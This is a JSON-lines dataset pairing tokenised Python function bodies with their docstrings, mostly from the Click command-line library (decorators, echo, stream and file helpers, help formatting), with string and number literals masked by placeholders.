{"signature": "def group(self, *args, **kwargs):", "body": "def decorator(f):<EOL><INDENT>cmd = group(*args, **kwargs)(f)<EOL>self.add_command(cmd)<EOL>return cmd<EOL><DEDENT>return decorator<EOL>", "docstring": "A shortcut decorator for declaring and attaching a group to\n        the group.  This takes the same arguments as :func:`group` but\n        immediately registers the created command with this instance by\n        calling into :meth:`add_command`.", "id": "f8340:c4:m3"}
{"signature": "def add_source(self, multi_cmd):", "body": "self.sources.append(multi_cmd)<EOL>", "docstring": "Adds a new multi command to the chain dispatcher.", "id": "f8340:c5:m1"}
{"signature": "@property<EOL><INDENT>def human_readable_name(self):<DEDENT>", "body": "return self.name<EOL>", "docstring": "Returns the human readable name of this parameter.  This is the\n        same as the name for options, but the metavar for arguments.", "id": "f8340:c6:m1"}
{"signature": "def get_default(self, ctx):", "body": "<EOL>if callable(self.default):<EOL><INDENT>rv = self.default()<EOL><DEDENT>else:<EOL><INDENT>rv = self.default<EOL><DEDENT>return self.type_cast_value(ctx, rv)<EOL>", "docstring": "Given a context variable this calculates the default value.", "id": "f8340:c6:m3"}
{"signature": "def type_cast_value(self, ctx, value):", "body": "if self.type.is_composite:<EOL><INDENT>if self.nargs <= <NUM_LIT:1>:<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % self.nargs)<EOL><DEDENT>if self.multiple:<EOL><INDENT>return tuple(self.type(x or (), self, ctx) for x in value or ())<EOL><DEDENT>return self.type(value or (), self, ctx)<EOL><DEDENT>def _convert(value, level):<EOL><INDENT>if level == <NUM_LIT:0>:<EOL><INDENT>return self.type(value, self, ctx)<EOL><DEDENT>return tuple(_convert(x, level - <NUM_LIT:1>) for x in value or ())<EOL><DEDENT>return _convert(value, (self.nargs != <NUM_LIT:1>) + bool(self.multiple))<EOL>", "docstring": "Given a value this runs it properly through the type system.\n        This automatically handles things like `nargs` and `multiple` as\n        well as composite types.", "id": "f8340:c6:m6"}
{"signature": "def process_value(self, ctx, value):", "body": "<EOL>if value is not None:<EOL><INDENT>return self.type_cast_value(ctx, value)<EOL><DEDENT>", "docstring": "Given a value and context this runs the logic to convert the\n        value as necessary.", "id": "f8340:c6:m7"}
{"signature": "def prompt_for_value(self, ctx):", "body": "<EOL>default = self.get_default(ctx)<EOL>if self.is_bool_flag:<EOL><INDENT>return confirm(self.prompt, default)<EOL><DEDENT>return prompt(self.prompt, default=default,<EOL>hide_input=self.hide_input,<EOL>confirmation_prompt=self.confirmation_prompt,<EOL>value_proc=lambda x: self.process_value(ctx, x))<EOL>", "docstring": "This is an alternative flow that can be activated in the full\n        value processing if a value does not exist.  It will prompt the\n        user until a valid value exists and then returns the processed\n        value as result.", "id": "f8340:c7:m5"}
{"signature": "def safecall(func):", "body": "def wrapper(*args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Wraps a function so that it swallows exceptions.", "id": "f8341:m1"}
{"signature": "def make_str(value):", "body": "if isinstance(value, bytes):<EOL><INDENT>try:<EOL><INDENT>return value.decode(get_filesystem_encoding())<EOL><DEDENT>except UnicodeError:<EOL><INDENT>return value.decode('<STR_LIT:utf-8>', '<STR_LIT:replace>')<EOL><DEDENT><DEDENT>return text_type(value)<EOL>", "docstring": "Converts a value into a valid string.", "id": "f8341:m2"}
{"signature": "def echo(message=None, file=None, nl=True, err=False, color=None):", "body": "if file is None:<EOL><INDENT>if err:<EOL><INDENT>file = _default_text_stderr()<EOL><DEDENT>else:<EOL><INDENT>file = _default_text_stdout()<EOL><DEDENT><DEDENT>if message is not None and not isinstance(message, echo_native_types):<EOL><INDENT>message = text_type(message)<EOL><DEDENT>if nl:<EOL><INDENT>message = message or u'<STR_LIT>'<EOL>if isinstance(message, text_type):<EOL><INDENT>message += u'<STR_LIT:\\n>'<EOL><DEDENT>else:<EOL><INDENT>message += b'<STR_LIT:\\n>'<EOL><DEDENT><DEDENT>if message and not PY2 and is_bytes(message):<EOL><INDENT>binary_file = _find_binary_writer(file)<EOL>if binary_file is not None:<EOL><INDENT>file.flush()<EOL>binary_file.write(message)<EOL>binary_file.flush()<EOL>return<EOL><DEDENT><DEDENT>if message and not is_bytes(message):<EOL><INDENT>color = resolve_color_default(color)<EOL>if should_strip_ansi(file, color):<EOL><INDENT>message = strip_ansi(message)<EOL><DEDENT>elif WIN:<EOL><INDENT>if auto_wrap_for_ansi is not None:<EOL><INDENT>file = auto_wrap_for_ansi(file)<EOL><DEDENT>elif not color:<EOL><INDENT>message = strip_ansi(message)<EOL><DEDENT><DEDENT><DEDENT>if message:<EOL><INDENT>file.write(message)<EOL><DEDENT>file.flush()<EOL>", "docstring": "Prints a message plus a newline to the given file or stdout.  On\n    first sight, this looks like the print function, but it has improved\n    support for handling Unicode and binary data that does not fail no\n    matter how badly configured the system is.\n\n    Primarily it means that you can print binary data as well as Unicode\n    data on both 2.x and 3.x to the given file in the most appropriate way\n    possible.  This is a very carefree function as in that it will try its\n    best to not fail.  As of Click 6.0 this includes support for unicode\n    output on the Windows console.\n\n    In addition to that, if `colorama`_ is installed, the echo function will\n    also support clever handling of ANSI codes.  Essentially it will then\n    do the following:\n\n    -   add transparent handling of ANSI color codes on Windows.\n    -   hide ANSI codes automatically if the destination file is not a\n        terminal.\n\n    .. _colorama: http://pypi.python.org/pypi/colorama\n\n    .. versionchanged:: 6.0\n       As of Click 6.0 the echo function will properly support unicode\n       output on the windows console.  Not that click does not modify\n       the interpreter in any way which means that `sys.stdout` or the\n       print statement or function will still not provide unicode support.\n\n    .. versionchanged:: 2.0\n       Starting with version 2.0 of Click, the echo function will work\n       with colorama if it's installed.\n\n    .. versionadded:: 3.0\n       The `err` parameter was added.\n\n    .. versionchanged:: 4.0\n       Added the `color` flag.\n\n    :param message: the message to print\n    :param file: the file to write to (defaults to ``stdout``)\n    :param err: if set to true the file defaults to ``stderr`` instead of\n                ``stdout``.  This is faster and easier than calling\n                :func:`get_text_stderr` yourself.\n    :param nl: if set to `True` (the default) a newline is printed afterwards.\n    :param color: controls if the terminal supports ANSI colors or not.  The\n                  default is autodetection.", "id": "f8341:m4"}
{"signature": "def get_binary_stream(name):", "body": "opener = binary_streams.get(name)<EOL>if opener is None:<EOL><INDENT>raise TypeError('<STR_LIT>' % name)<EOL><DEDENT>return opener()<EOL>", "docstring": "Returns a system stream for byte processing.  This essentially\n    returns the stream from the sys module with the given name but it\n    solves some compatibility issues between different Python versions.\n    Primarily this function is necessary for getting binary streams on\n    Python 3.\n\n    :param name: the name of the stream to open.  Valid names are ``'stdin'``,\n                 ``'stdout'`` and ``'stderr'``", "id": "f8341:m5"}
{"signature": "def get_text_stream(name, encoding=None, errors='<STR_LIT:strict>'):", "body": "opener = text_streams.get(name)<EOL>if opener is None:<EOL><INDENT>raise TypeError('<STR_LIT>' % name)<EOL><DEDENT>return opener(encoding, errors)<EOL>", "docstring": "Returns a system stream for text processing.  This usually returns\n    a wrapped stream around a binary stream returned from\n    :func:`get_binary_stream` but it also can take shortcuts on Python 3\n    for already correctly configured streams.\n\n    :param name: the name of the stream to open.  Valid names are ``'stdin'``,\n                 ``'stdout'`` and ``'stderr'``\n    :param encoding: overrides the detected default encoding.\n    :param errors: overrides the default error mode.", "id": "f8341:m6"}
{"signature": "def open_file(filename, mode='<STR_LIT:r>', encoding=None, errors='<STR_LIT:strict>',<EOL>lazy=False, atomic=False):", "body": "if lazy:<EOL><INDENT>return LazyFile(filename, mode, encoding, errors, atomic=atomic)<EOL><DEDENT>f, should_close = open_stream(filename, mode, encoding, errors,<EOL>atomic=atomic)<EOL>if not should_close:<EOL><INDENT>f = KeepOpenFile(f)<EOL><DEDENT>return f<EOL>", "docstring": "This is similar to how the :class:`File` works but for manual\n    usage.  Files are opened non lazy by default.  This can open regular\n    files as well as stdin/stdout if ``'-'`` is passed.\n\n    If stdin/stdout is returned the stream is wrapped so that the context\n    manager will not close the stream accidentally.  This makes it possible\n    to always use the function like this without having to worry to\n    accidentally close a standard stream::\n\n        with open_file(filename) as f:\n            ...\n\n    .. versionadded:: 3.0\n\n    :param filename: the name of the file to open (or ``'-'`` for stdin/stdout).\n    :param mode: the mode in which to open the file.\n    :param encoding: the encoding to use.\n    :param errors: the error handling for this file.\n    :param lazy: can be flipped to true to open the file lazily.\n    :param atomic: in atomic mode writes go into a temporary file and it's\n                   moved on close.", "id": "f8341:m7"}
{"signature": "def get_os_args():", "body": "<EOL>if PY2 and WIN and _initial_argv_hash == _hash_py_argv():<EOL><INDENT>return _get_windows_argv()<EOL><DEDENT>return sys.argv[<NUM_LIT:1>:]<EOL>", "docstring": "This returns the argument part of sys.argv in the most appropriate\n    form for processing.  What this means is that this return value is in\n    a format that works for Click to process but does not necessarily\n    correspond well to what's actually standard for the interpreter.\n\n    On most environments the return value is ``sys.argv[:1]`` unchanged.\n    However if you are on Windows and running Python 2 the return value\n    will actually be a list of unicode strings instead because the\n    default behavior on that platform otherwise will not be able to\n    carry all possible values that sys.argv can have.\n\n    .. versionadded:: 6.0", "id": "f8341:m8"}
{"signature": "def format_filename(filename, shorten=False):", "body": "if shorten:<EOL><INDENT>filename = os.path.basename(filename)<EOL><DEDENT>return filename_to_ui(filename)<EOL>", "docstring": "Formats a filename for user display.  The main purpose of this\n    function is to ensure that the filename can be displayed at all.  This\n    will decode the filename to unicode if necessary in a way that it will\n    not fail.  Optionally, it can shorten the filename to not include the\n    full path to the filename.\n\n    :param filename: formats a filename for UI display.  This will also convert\n                     the filename into unicode without failing.\n    :param shorten: this optionally shortens the filename to strip of the\n                    path that leads up to it.", "id": "f8341:m9"}
{"signature": "def get_app_dir(app_name, roaming=True, force_posix=False):", "body": "if WIN:<EOL><INDENT>key = roaming and '<STR_LIT>' or '<STR_LIT>'<EOL>folder = os.environ.get(key)<EOL>if folder is None:<EOL><INDENT>folder = os.path.expanduser('<STR_LIT>')<EOL><DEDENT>return os.path.join(folder, app_name)<EOL><DEDENT>if force_posix:<EOL><INDENT>return os.path.join(os.path.expanduser('<STR_LIT>' + _posixify(app_name)))<EOL><DEDENT>if sys.platform == '<STR_LIT>':<EOL><INDENT>return os.path.join(os.path.expanduser(<EOL>'<STR_LIT>'), app_name)<EOL><DEDENT>return os.path.join(<EOL>os.environ.get('<STR_LIT>', os.path.expanduser('<STR_LIT>')),<EOL>_posixify(app_name))<EOL>", "docstring": "r\"\"\"Returns the config folder for the application.  The default behavior\n    is to return whatever is most appropriate for the operating system.\n\n    To give you an idea, for an app called ``\"Foo Bar\"``, something like\n    the following folders could be returned:\n\n    Mac OS X:\n      ``~/Library/Application Support/Foo Bar``\n    Mac OS X (POSIX):\n      ``~/.foo-bar``\n    Unix:\n      ``~/.config/foo-bar``\n    Unix (POSIX):\n      ``~/.foo-bar``\n    Win XP (roaming):\n      ``C:\\Documents and Settings\\<user>\\Local Settings\\Application Data\\Foo Bar``\n    Win XP (not roaming):\n      ``C:\\Documents and Settings\\<user>\\Application Data\\Foo Bar``\n    Win 7 (roaming):\n      ``C:\\Users\\<user>\\AppData\\Roaming\\Foo Bar``\n    Win 7 (not roaming):\n      ``C:\\Users\\<user>\\AppData\\Local\\Foo Bar``\n\n    .. versionadded:: 2.0\n\n    :param app_name: the application name.  This should be properly capitalized\n                     and can contain whitespace.\n    :param roaming: controls if the folder should be roaming or not on Windows.\n                    Has no affect otherwise.\n    :param force_posix: if this is set to `True` then on any POSIX system the\n                        folder will be stored in the home folder with a leading\n                        dot instead of the XDG config home or darwin's\n                        application support folder.", "id": "f8341:m10"}
{"signature": "def open(self):", "body": "if self._f is not None:<EOL><INDENT>return self._f<EOL><DEDENT>try:<EOL><INDENT>rv, self.should_close = open_stream(self.name, self.mode,<EOL>self.encoding,<EOL>self.errors,<EOL>atomic=self.atomic)<EOL><DEDENT>except (IOError, OSError) as e:<EOL><INDENT>from .exceptions import FileError<EOL>raise FileError(self.name, hint=get_streerror(e))<EOL><DEDENT>self._f = rv<EOL>return rv<EOL>", "docstring": "Opens the file if it's not yet open.  This call might fail with\n        a :exc:`FileError`.  Not handling this error will produce an error\n        that Click shows.", "id": "f8341:c0:m3"}
{"signature": "def close(self):", "body": "if self._f is not None:<EOL><INDENT>self._f.close()<EOL><DEDENT>", "docstring": "Closes the underlying file, no matter what.", "id": "f8341:c0:m4"}
{"signature": "def close_intelligently(self):", "body": "if self.should_close:<EOL><INDENT>self.close()<EOL><DEDENT>", "docstring": "This function only closes the file if it was opened by the lazy\n        file wrapper.  For instance this will never close stdin.", "id": "f8341:c0:m5"}
{"signature": "def pass_context(f):", "body": "def new_func(*args, **kwargs):<EOL><INDENT>return f(get_current_context(), *args, **kwargs)<EOL><DEDENT>return update_wrapper(new_func, f)<EOL>", "docstring": "Marks a callback as wanting to receive the current context\n    object as first argument.", "id": "f8342:m0"}
{"signature": "def pass_obj(f):", "body": "def new_func(*args, **kwargs):<EOL><INDENT>return f(get_current_context().obj, *args, **kwargs)<EOL><DEDENT>return update_wrapper(new_func, f)<EOL>", "docstring": "Similar to :func:`pass_context`, but only pass the object on the\n    context onwards (:attr:`Context.obj`).  This is useful if that object\n    represents the state of a nested system.", "id": "f8342:m1"}
{"signature": "def make_pass_decorator(object_type, ensure=False):", "body": "def decorator(f):<EOL><INDENT>def new_func(*args, **kwargs):<EOL><INDENT>ctx = get_current_context()<EOL>if ensure:<EOL><INDENT>obj = ctx.ensure_object(object_type)<EOL><DEDENT>else:<EOL><INDENT>obj = ctx.find_object(object_type)<EOL><DEDENT>if obj is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% object_type.__name__)<EOL><DEDENT>return ctx.invoke(f, obj, *args[<NUM_LIT:1>:], **kwargs)<EOL><DEDENT>return update_wrapper(new_func, f)<EOL><DEDENT>return decorator<EOL>", "docstring": "Given an object type this creates a decorator that will work\n    similar to :func:`pass_obj` but instead of passing the object of the\n    current context, it will find the innermost context of type\n    :func:`object_type`.\n\n    This generates a decorator that works roughly like this::\n\n        from functools import update_wrapper\n\n        def decorator(f):\n            @pass_context\n            def new_func(ctx, *args, **kwargs):\n                obj = ctx.find_object(object_type)\n                return ctx.invoke(f, obj, *args, **kwargs)\n            return update_wrapper(new_func, f)\n        return decorator\n\n    :param object_type: the type of the object to pass.\n    :param ensure: if set to `True`, a new object will be created and\n                   remembered on the context if it's not there yet.", "id": "f8342:m2"}
{"signature": "def command(name=None, cls=None, **attrs):", "body": "if cls is None:<EOL><INDENT>cls = Command<EOL><DEDENT>def decorator(f):<EOL><INDENT>cmd = _make_command(f, name, attrs, cls)<EOL>cmd.__doc__ = f.__doc__<EOL>return cmd<EOL><DEDENT>return decorator<EOL>", "docstring": "Creates a new :class:`Command` and uses the decorated function as\n    callback.  This will also automatically attach all decorated\n    :func:`option`\\s and :func:`argument`\\s as parameters to the command.\n\n    The name of the command defaults to the name of the function.  If you\n    want to change that, you can pass the intended name as the first\n    argument.\n\n    All keyword arguments are forwarded to the underlying command class.\n\n    Once decorated the function turns into a :class:`Command` instance\n    that can be invoked as a command line utility or be attached to a\n    command :class:`Group`.\n\n    :param name: the name of the command.  This defaults to the function\n                 name.\n    :param cls: the command class to instantiate.  This defaults to\n                :class:`Command`.", "id": "f8342:m4"}
{"signature": "def group(name=None, **attrs):", "body": "attrs.setdefault('<STR_LIT>', Group)<EOL>return command(name, **attrs)<EOL>", "docstring": "Creates a new :class:`Group` with a function as callback.  This\n    works otherwise the same as :func:`command` just that the `cls`\n    parameter is set to :class:`Group`.", "id": "f8342:m5"}
{"signature": "def argument(*param_decls, **attrs):", "body": "def decorator(f):<EOL><INDENT>ArgumentClass = attrs.pop('<STR_LIT>', Argument)<EOL>_param_memo(f, ArgumentClass(param_decls, **attrs))<EOL>return f<EOL><DEDENT>return decorator<EOL>", "docstring": "Attaches an argument to the command.  All positional arguments are\n    passed as parameter declarations to :class:`Argument`; all keyword\n    arguments are forwarded unchanged (except ``cls``).\n    This is equivalent to creating an :class:`Argument` instance manually\n    and attaching it to the :attr:`Command.params` list.\n\n    :param cls: the argument class to instantiate.  This defaults to\n                :class:`Argument`.", "id": "f8342:m7"}
{"signature": "def option(*param_decls, **attrs):", "body": "def decorator(f):<EOL><INDENT>if '<STR_LIT>' in attrs:<EOL><INDENT>attrs['<STR_LIT>'] = inspect.cleandoc(attrs['<STR_LIT>'])<EOL><DEDENT>OptionClass = attrs.pop('<STR_LIT>', Option)<EOL>_param_memo(f, OptionClass(param_decls, **attrs))<EOL>return f<EOL><DEDENT>return decorator<EOL>", "docstring": "Attaches an option to the command.  All positional arguments are\n    passed as parameter declarations to :class:`Option`; all keyword\n    arguments are forwarded unchanged (except ``cls``).\n    This is equivalent to creating an :class:`Option` instance manually\n    and attaching it to the :attr:`Command.params` list.\n\n    :param cls: the option class to instantiate.  This defaults to\n                :class:`Option`.", "id": "f8342:m8"}
{"signature": "def confirmation_option(*param_decls, **attrs):", "body": "def decorator(f):<EOL><INDENT>def callback(ctx, param, value):<EOL><INDENT>if not value:<EOL><INDENT>ctx.abort()<EOL><DEDENT><DEDENT>attrs.setdefault('<STR_LIT>', True)<EOL>attrs.setdefault('<STR_LIT>', callback)<EOL>attrs.setdefault('<STR_LIT>', False)<EOL>attrs.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>attrs.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>return option(*(param_decls or ('<STR_LIT>',)), **attrs)(f)<EOL><DEDENT>return decorator<EOL>", "docstring": "Shortcut for confirmation prompts that can be ignored by passing\n    ``--yes`` as parameter.\n\n    This is equivalent to decorating a function with :func:`option` with\n    the following parameters::\n\n        def callback(ctx, param, value):\n            if not value:\n                ctx.abort()\n\n        @click.command()\n        @click.option('--yes', is_flag=True, callback=callback,\n                      expose_value=False, prompt='Do you want to continue?')\n        def dropdb():\n            pass", "id": "f8342:m9"}
{"signature": "def password_option(*param_decls, **attrs):", "body": "def decorator(f):<EOL><INDENT>attrs.setdefault('<STR_LIT>', True)<EOL>attrs.setdefault('<STR_LIT>', True)<EOL>attrs.setdefault('<STR_LIT>', True)<EOL>return option(*(param_decls or ('<STR_LIT>',)), **attrs)(f)<EOL><DEDENT>return decorator<EOL>", "docstring": "Shortcut for password prompts.\n\n    This is equivalent to decorating a function with :func:`option` with\n    the following parameters::\n\n        @click.command()\n        @click.option('--password', prompt=True, confirmation_prompt=True,\n                      hide_input=True)\n        def changeadmin(password):\n            pass", "id": "f8342:m10"}
{"signature": "def version_option(version=None, *param_decls, **attrs):", "body": "if version is None:<EOL><INDENT>module = sys._getframe(<NUM_LIT:1>).f_globals.get('<STR_LIT>')<EOL><DEDENT>def decorator(f):<EOL><INDENT>prog_name = attrs.pop('<STR_LIT>', None)<EOL>message = attrs.pop('<STR_LIT:message>', '<STR_LIT>')<EOL>def callback(ctx, param, value):<EOL><INDENT>if not value or ctx.resilient_parsing:<EOL><INDENT>return<EOL><DEDENT>prog = prog_name<EOL>if prog is None:<EOL><INDENT>prog = ctx.find_root().info_name<EOL><DEDENT>ver = version<EOL>if ver is None:<EOL><INDENT>try:<EOL><INDENT>import pkg_resources<EOL><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>for dist in pkg_resources.working_set:<EOL><INDENT>scripts = dist.get_entry_map().get('<STR_LIT>') or {}<EOL>for script_name, entry_point in iteritems(scripts):<EOL><INDENT>if entry_point.module_name == module:<EOL><INDENT>ver = dist.version<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if ver is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>echo(message % {<EOL>'<STR_LIT>': prog,<EOL>'<STR_LIT:version>': ver,<EOL>}, color=ctx.color)<EOL>ctx.exit()<EOL><DEDENT>attrs.setdefault('<STR_LIT>', True)<EOL>attrs.setdefault('<STR_LIT>', False)<EOL>attrs.setdefault('<STR_LIT>', True)<EOL>attrs.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>attrs['<STR_LIT>'] = callback<EOL>return option(*(param_decls or ('<STR_LIT>',)), **attrs)(f)<EOL><DEDENT>return decorator<EOL>", "docstring": "Adds a ``--version`` option which immediately ends the program\n    printing out the version number.  This is implemented as an eager\n    option that prints the version and exits the program in the callback.\n\n    :param version: the version number to show.  If not provided Click\n                    attempts an auto discovery via setuptools.\n    :param prog_name: the name of the program (defaults to autodetection)\n    :param message: custom message to show instead of the default\n                    (``'%(prog)s, version %(version)s'``)\n    :param others: everything else is forwarded to :func:`option`.", "id": "f8342:m11"}
{"signature": "def help_option(*param_decls, **attrs):", "body": "def decorator(f):<EOL><INDENT>def callback(ctx, param, value):<EOL><INDENT>if value and not ctx.resilient_parsing:<EOL><INDENT>echo(ctx.get_help(), color=ctx.color)<EOL>ctx.exit()<EOL><DEDENT><DEDENT>attrs.setdefault('<STR_LIT>', True)<EOL>attrs.setdefault('<STR_LIT>', False)<EOL>attrs.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>attrs.setdefault('<STR_LIT>', True)<EOL>attrs['<STR_LIT>'] = callback<EOL>return option(*(param_decls or ('<STR_LIT>',)), **attrs)(f)<EOL><DEDENT>return decorator<EOL>", "docstring": "Adds a ``--help`` option which immediately ends the program\n    printing out the help page.  This is usually unnecessary to add as\n    this is added by default to all commands unless suppressed.\n\n    Like :func:`version_option`, this is implemented as eager option that\n    prints in the callback and exits.\n\n    All arguments are forwarded to :func:`option`.", "id": "f8342:m12"}
{"signature": "def wrap_text(text, width=<NUM_LIT>, initial_indent='<STR_LIT>', subsequent_indent='<STR_LIT>',<EOL>preserve_paragraphs=False):", "body": "from ._textwrap import TextWrapper<EOL>text = text.expandtabs()<EOL>wrapper = TextWrapper(width, initial_indent=initial_indent,<EOL>subsequent_indent=subsequent_indent,<EOL>replace_whitespace=False)<EOL>if not preserve_paragraphs:<EOL><INDENT>return wrapper.fill(text)<EOL><DEDENT>p = []<EOL>buf = []<EOL>indent = None<EOL>def _flush_par():<EOL><INDENT>if not buf:<EOL><INDENT>return<EOL><DEDENT>if buf[<NUM_LIT:0>].strip() == '<STR_LIT>':<EOL><INDENT>p.append((indent or <NUM_LIT:0>, True, '<STR_LIT:\\n>'.join(buf[<NUM_LIT:1>:])))<EOL><DEDENT>else:<EOL><INDENT>p.append((indent or <NUM_LIT:0>, False, '<STR_LIT:U+0020>'.join(buf)))<EOL><DEDENT>del buf[:]<EOL><DEDENT>for line in text.splitlines():<EOL><INDENT>if not line:<EOL><INDENT>_flush_par()<EOL>indent = None<EOL><DEDENT>else:<EOL><INDENT>if indent is None:<EOL><INDENT>orig_len = term_len(line)<EOL>line = line.lstrip()<EOL>indent = orig_len - term_len(line)<EOL><DEDENT>buf.append(line)<EOL><DEDENT><DEDENT>_flush_par()<EOL>rv = []<EOL>for indent, raw, text in p:<EOL><INDENT>with wrapper.extra_indent('<STR_LIT:U+0020>' * indent):<EOL><INDENT>if raw:<EOL><INDENT>rv.append(wrapper.indent_only(text))<EOL><DEDENT>else:<EOL><INDENT>rv.append(wrapper.fill(text))<EOL><DEDENT><DEDENT><DEDENT>return '<STR_LIT>'.join(rv)<EOL>", "docstring": "A helper function that intelligently wraps text.  By default, it\n    assumes that it operates on a single paragraph of text but if the\n    `preserve_paragraphs` parameter is provided it will intelligently\n    handle paragraphs (defined by two empty lines).\n\n    If paragraphs are handled, a paragraph can be prefixed with an empty\n    line containing the ``\\\\b`` character (``\\\\x08``) to indicate that\n    no rewrapping should happen in that block.\n\n    :param text: the text that should be rewrapped.\n    :param width: the maximum width for the text.\n    :param initial_indent: the initial indent that should be placed on the\n                           first line as a string.\n    :param subsequent_indent: the indent string that should be placed on\n                              each consecutive line.\n    :param preserve_paragraphs: if this flag is set then the wrapping will\n                                intelligently handle paragraphs.", "id": "f8344:m2"}
{"signature": "def join_options(options):", "body": "rv = []<EOL>any_prefix_is_slash = False<EOL>for opt in options:<EOL><INDENT>prefix = split_opt(opt)[<NUM_LIT:0>]<EOL>if prefix == '<STR_LIT:/>':<EOL><INDENT>any_prefix_is_slash = True<EOL><DEDENT>rv.append((len(prefix), opt))<EOL><DEDENT>rv.sort(key=lambda x: x[<NUM_LIT:0>])<EOL>rv = '<STR_LIT:U+002CU+0020>'.join(x[<NUM_LIT:1>] for x in rv)<EOL>return rv, any_prefix_is_slash<EOL>", "docstring": "Given a list of option strings this joins them in the most appropriate\n    way and returns them in the form ``(formatted_string,\n    any_prefix_is_slash)`` where the second item in the tuple is a flag that\n    indicates if any of the option prefixes was a slash.", "id": "f8344:m3"}
{"signature": "def write(self, string):", "body": "self.buffer.append(string)<EOL>", "docstring": "Writes a unicode string into the internal buffer.", "id": "f8344:c0:m1"}
{"signature": "def indent(self):", "body": "self.current_indent += self.indent_increment<EOL>", "docstring": "Increases the indentation.", "id": "f8344:c0:m2"}
{"signature": "def dedent(self):", "body": "self.current_indent -= self.indent_increment<EOL>", "docstring": "Decreases the indentation.", "id": "f8344:c0:m3"}
{"signature": "def write_usage(self, prog, args='<STR_LIT>', prefix='<STR_LIT>'):", "body": "usage_prefix = '<STR_LIT>' % (self.current_indent, prefix, prog)<EOL>text_width = self.width - self.current_indent<EOL>if text_width >= (term_len(usage_prefix) + <NUM_LIT:20>):<EOL><INDENT>indent = '<STR_LIT:U+0020>' * term_len(usage_prefix)<EOL>self.write(wrap_text(args, text_width,<EOL>initial_indent=usage_prefix,<EOL>subsequent_indent=indent))<EOL><DEDENT>else:<EOL><INDENT>self.write(usage_prefix)<EOL>self.write('<STR_LIT:\\n>')<EOL>indent = '<STR_LIT:U+0020>' * (max(self.current_indent, term_len(prefix)) + <NUM_LIT:4>)<EOL>self.write(wrap_text(args, text_width,<EOL>initial_indent=indent,<EOL>subsequent_indent=indent))<EOL><DEDENT>self.write('<STR_LIT:\\n>')<EOL>", "docstring": "Writes a usage line into the buffer.\n\n        :param prog: the program name.\n        :param args: whitespace separated list of arguments.\n        :param prefix: the prefix for the first line.", "id": "f8344:c0:m4"}
{"signature": "def write_heading(self, heading):", "body": "self.write('<STR_LIT>' % (self.current_indent, '<STR_LIT>', heading))<EOL>", "docstring": "Writes a heading into the buffer.", "id": "f8344:c0:m5"}
{"signature": "def write_paragraph(self):", "body": "if self.buffer:<EOL><INDENT>self.write('<STR_LIT:\\n>')<EOL><DEDENT>", "docstring": "Writes a paragraph into the buffer.", "id": "f8344:c0:m6"}
{"signature": "def write_text(self, text):", "body": "text_width = max(self.width - self.current_indent, <NUM_LIT:11>)<EOL>indent = '<STR_LIT:U+0020>' * self.current_indent<EOL>self.write(wrap_text(text, text_width,<EOL>initial_indent=indent,<EOL>subsequent_indent=indent,<EOL>preserve_paragraphs=True))<EOL>self.write('<STR_LIT:\\n>')<EOL>", "docstring": "Writes re-indented text into the buffer.  This rewraps and\n        preserves paragraphs.", "id": "f8344:c0:m7"}
{"signature": "def write_dl(self, rows, col_max=<NUM_LIT:30>, col_spacing=<NUM_LIT:2>):", "body": "rows = list(rows)<EOL>widths = measure_table(rows)<EOL>if len(widths) != <NUM_LIT:2>:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>first_col = min(widths[<NUM_LIT:0>], col_max) + col_spacing<EOL>for first, second in iter_rows(rows, len(widths)):<EOL><INDENT>self.write('<STR_LIT>' % (self.current_indent, '<STR_LIT>', first))<EOL>if not second:<EOL><INDENT>self.write('<STR_LIT:\\n>')<EOL>continue<EOL><DEDENT>if term_len(first) <= first_col - col_spacing:<EOL><INDENT>self.write('<STR_LIT:U+0020>' * (first_col - term_len(first)))<EOL><DEDENT>else:<EOL><INDENT>self.write('<STR_LIT:\\n>')<EOL>self.write('<STR_LIT:U+0020>' * (first_col + self.current_indent))<EOL><DEDENT>text_width = max(self.width - first_col - <NUM_LIT:2>, <NUM_LIT:10>)<EOL>lines = iter(wrap_text(second, text_width).splitlines())<EOL>if lines:<EOL><INDENT>self.write(next(lines) + '<STR_LIT:\\n>')<EOL>for line in lines:<EOL><INDENT>self.write('<STR_LIT>' % (<EOL>first_col + self.current_indent, '<STR_LIT>', line))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.write('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>", "docstring": "Writes a definition list into the buffer.  This is how options\n        and commands are usually formatted.\n\n        :param rows: a list of two item tuples for the terms and values.\n        :param col_max: the maximum width of the first column.\n        :param col_spacing: the number of spaces between the first and\n                            second column.", "id": "f8344:c0:m8"}
{"signature": "@contextmanager<EOL><INDENT>def section(self, name):<DEDENT>", "body": "self.write_paragraph()<EOL>self.write_heading(name)<EOL>self.indent()<EOL>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>self.dedent()<EOL><DEDENT>", "docstring": "Helpful context manager that writes a paragraph, a heading,\n        and the indents.\n\n        :param name: the section name that is written as heading.", "id": "f8344:c0:m9"}
{"signature": "@contextmanager<EOL><INDENT>def indentation(self):<DEDENT>", "body": "self.indent()<EOL>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>self.dedent()<EOL><DEDENT>", "docstring": "A context manager that increases the indentation.", "id": "f8344:c0:m10"}
{"signature": "def getvalue(self):", "body": "return '<STR_LIT>'.join(self.buffer)<EOL>", "docstring": "Returns the buffer contents.", "id": "f8344:c0:m11"}
{"signature": "def get_global_hook_path():", "body": "return unipath(os.environ.get('<STR_LIT>', '<STR_LIT>'), '<STR_LIT>')<EOL>", "docstring": "Returns the global hook path", "id": "f8346:m0"}
